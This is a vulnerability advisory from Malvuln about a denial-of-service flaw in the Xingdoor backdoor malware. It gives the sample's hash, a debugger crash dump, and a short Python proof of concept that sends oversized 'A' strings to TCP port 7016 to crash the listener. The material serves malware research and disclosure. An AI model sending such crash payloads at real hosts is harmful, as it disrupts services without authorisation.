Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/89000e259ffbd107b7cc9bac66dcdcf5.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Xingdoor Vulnerability: Denial of Service Description: The malware "System_XingCheng" listens on TCP port 7016. Attackers who can send a specially crafted packet, can trigger an int 3 "\xcc" breakpoint debug error causing a disruption in service. The error is a MS Visual C++ Debug Error, occurs when the value of ESP is not properly saved across a function call. Family: Xingdoor Type: PE32 MD5: 89000e259ffbd107b7cc9bac66dcdcf5 Vuln ID: MVID-2022-0542 Disclosure: 04/06/2022 Memory Dump: This dump file has a breakpoint exception stored in it. The stored exception information can be accessed via .ecxr. eax=00000000 ebx=00000000 ecx=b30fec4c edx=00000001 esi=00000003 edi=00000003 eip=76feed3c esp=0019f53c ebp=0019f6cc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!ZwWaitForMultipleObjects+0xc: 76feed3c c21400 ret 14h 0:000> .ecxr eax=00000001 ebx=00384000 ecx=b30fec4c edx=00000001 esi=004027f0 edi=0019fef0 eip=004027de esp=0019fe64 ebp=0019fe78 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 *** WARNING: Unable to verify checksum for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de: 004027de cc int 3 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de 004027de cc int 3 EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 004027de (Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x000027de) ExceptionCode: 80000003 (Break instruction exception) ExceptionFlags: 00000000 NumberParameters: 1 Parameter[0]: 00000000 DEFAULT_BUCKET_ID: STATUS_BREAKPOINT PROCESS_NAME: Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION} Breakpoint A breakpoint has been reached. EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - One or more arguments are invalid EXCEPTION_PARAMETER1: 00000000 MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001928 PRIMARY_PROBLEM_CLASS: STATUS_BREAKPOINT BUGCHECK_STR: APPLICATION_FAULT_STATUS_BREAKPOINT LAST_CONTROL_TRANSFER: from 00401596 to 004027de STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0019fe78 00401596 0019fe25 0040112f 004027f0 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de 0019fe80 0040112f 004027f0 004027f0 00384000 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x1596 0019fef0 00402903 00400000 00000000 02783767 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x112f 0019ff80 76698654 00384000 76698630 fa8d215c Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x2903 0019ff94 76fe4a77 00384000 b30fa868 00000000 kernel32!BaseThreadInitThunk+0x24 0019ffdc 76fe4a47 ffffffff 77009ea7 00000000 ntdll!__RtlUserThreadStart+0x2f 0019ffec 00000000 004027f0 00384000 00000000 ntdll!_RtlUserThreadStart+0x1b FOLLOWUP_IP: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de 004027de cc int 3 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5 IMAGE_NAME: Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe DEBUG_FLR_IMAGE_TIMESTAMP: 3f169e33 STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb FAILURE_BUCKET_ID: STATUS_BREAKPOINT_80000003_Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STATUS_BREAKPOINT_Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=7016 def chk_res(s): res="" while True: res += s.recv(512) break if "\0" in res or "\n" in res or res == "": break return res def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) print(chk_res(s)) time.sleep(1) s.send("a") print(chk_res(s)) s.send("\r\n"+"A"*88+"\r\n") time.sleep(1) print(chk_res(s)) time.sleep(1) s.send("A"*88+"\n") print(chk_res(s)) s.close() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).